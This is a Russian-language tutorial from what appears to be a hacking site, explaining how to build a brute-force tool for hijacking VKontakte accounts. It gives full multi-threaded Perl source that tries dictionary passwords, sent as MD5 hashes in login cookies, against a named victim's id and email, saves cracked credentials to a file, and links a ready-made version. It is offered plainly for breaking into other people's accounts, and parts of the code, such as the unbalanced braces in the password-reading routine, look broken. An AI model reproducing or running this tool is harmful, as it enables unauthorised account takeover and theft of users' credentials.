V-zlom.ru » Статьи » Как создать брут для контакта

Как создать брут для контакта

 Brute (bruteforce)- это программа которая предназначеня для перебора паролей, в нашем случае она предназначена для взлома контакта, для этого необходимо знать только мило жертвы. Даный брут написан на ActivePerl.

   Для того что бы брут работал необходимо:

1. Создать папку, пускай на рабочем столе

2. В этой папке создаем два текстовых документа и називаем их:
                
               - passl.txt - сюда нужно вставлять словари паролей (каждый пароль  с      новой строки)
                
               - 
good.txt - тут будут сохраняца взломаные пароли

3. И наконец создаем текстовый документ, в который капируе:
###################################### 
# C!klodoL 
# vkontakte.ru bruteforce with multi-threads 
###################################### 

$dic = 'passl.txt'; #словарь паролей 
$id = 111111; #id цели 
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 
$threads = 4; #количество потоков (чем больше потоков тем больше и скорость поиска ) 
######################################
open (pass, "<$dic");
Next: 
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} 
for(@trl) { $_->join; }
sub Brut 
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass); 
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); 
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". 
"Host: vkontakte.ru\r\n". 
"Accept: */*\r\n". 
"Content-Type: application/x-www-form-urlencoded\r\n". 
"User-Agent: Mozillo\r\n". 
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". 
"Connection: close\r\n\r\n"; 
$answ = <$sock>; 
close $sock; 
print "$pass $answ"; 
if ($answ =~ /302/){ 
open (good, '>>good.txt'); 
print good "$id:$pass:$md5\n"; 
print "$id:$pass:$md5\n"; 
close good; 
exit;} 
}
}
goto Next;
sub pass 

my (@mas); 
while (<pass>){ 
push @mas, $_; 
last if (@mas == 400); 

chomp @mas; 
return @mas; 
}
и сохраняем: Файл- Сохранить как - Имя файла- brute.pl

Брут готов но файл который мы создали не определяе, для этого нужно Установить платформу Perl: 
 
После того как Перл усьановилса на ваш капм ярличек неопозноного файла будет таким:
Запускаем даный ярлик, если вы все сделали правильно то откроеца досовское окно и начнется перебор паролей, вот такое окно:
 
Ну а если у вас вообще ничего не получается то можете скачать готовый брут с небольшой базой паролей:

  • Автор: admin
  • Комментарии: 0
  • Просмотры: 15421
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!